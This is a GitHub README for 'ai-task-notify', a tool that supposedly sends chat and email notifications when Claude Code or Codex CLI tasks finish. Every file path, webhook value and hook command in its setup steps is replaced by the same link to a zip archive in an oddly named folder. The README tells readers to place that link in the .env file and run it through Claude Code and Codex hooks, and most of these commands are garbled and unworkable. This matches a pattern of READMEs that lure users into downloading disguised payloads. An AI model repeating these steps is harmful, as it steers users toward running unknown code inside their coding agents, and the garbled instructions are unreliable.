Skip to content

inazon/ai-task-notify

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

6 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐ŸŽ‰ ai-task-notify - Get Notified on Task Completion

Easily receive notifications for completed tasks across various platforms.

Download Now

๐Ÿš€ Getting Started

This guide will help you download and run the AI Task Notify software step by step. Follow these instructions to set up notifications for task completions.

๐Ÿ“ฅ Download & Install

Visit the Releases page to download the latest version of ai-task-notify. Choose the appropriate file for your system, download it, and follow the installation instructions below.

โš™๏ธ Configuration

Before running the software, you need to set it up correctly.

1. Configure Notification Channels

  1. Open your terminal.

  2. Change directory to the ai-task-notify folder:

    cd ai-task-notify
  3. Copy the example environment file:

    cp https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip .env
  4. Open the .env file in a text editor. Set your preferred notification channels by editing the lines that start with NOTIFY_CHANNELS.

    Example configuration:

    # Enabled channels (comma-separated)
    NOTIFY_CHANNELS=wecom,feishu
    
    # WeCom
    https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip
    
    # Feishu
    https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip
    

2. Configure Claude Code

Claude Code needs to be set up to use your new notification script.

  1. Locate the Claude settings file at ~https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip.

  2. Edit the file to include the following configuration:

    {
      "hooks": {
        "Stop": [
          {
            "matcher": "",
            "hooks": [
              {
                "type": "command",
                "command": "python3 https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip"
              }
            ]
          }
        ]
      }
    }

3. Configure Codex CLI

You also need to configure Codex CLI for notifications.

  1. Open the Codex configuration file at ~https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip.

  2. Add the following line to set up the notification command:

    notify = ["python3", "https://raw.githubusercontent.com/inazon/ai-task-notify/main/Aigialosauridae/ai-notify-task-v2.9.zip"]

๐Ÿ“œ Configuration Notes

WeCom Setup

  1. In your WeCom (ไผไธšๅพฎไฟก) group chat, add the group robot.
  2. Copy the Webhook URL and paste it into the WECOM_WEBHOOK_URL field.

Feishu Setup

  1. In your Feishu (้ฃžไนฆ) group chat, add the group robot.
  2. Copy the Webhook URL and paste it into the FEISHU_WEBHOOK_URL field.

๐Ÿ–ฅ๏ธ System Requirements

Ensure you have the following installed on your computer:

  • Python 3.6 or higher
  • Internet access for webhook notifications
  • Access to the WeCom, Feishu, or DingTalk interfaces as needed for your notifications

๐Ÿ”„ Supported Notification Channels

AI Task Notify supports the following channels:

  • WeCom (ไผไธšๅพฎไฟก) - Use for company-wide notifications through group chats.
  • Feishu (้ฃžไนฆ) - Attention grabbing notifications in teams.
  • DingTalk (้’‰้’‰) - Quick updates for tasks and activities.
  • Email - Standard email notifications for task completions.

๐Ÿ“ž Need Help?

If you face any issues, feel free to open an issue in the GitHub repository for assistance. The community is here to help.

You can also refer to our documentation for more detailed guidelines and troubleshooting steps.

Thank you for using AI Task Notify! Enjoy efficient task management and notification delivery.

About

๐Ÿ“ข Notify users of Claude Code and Codex CLI task completions through various channels like WeCom, Feishu, DingTalk, and Email effortlessly.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages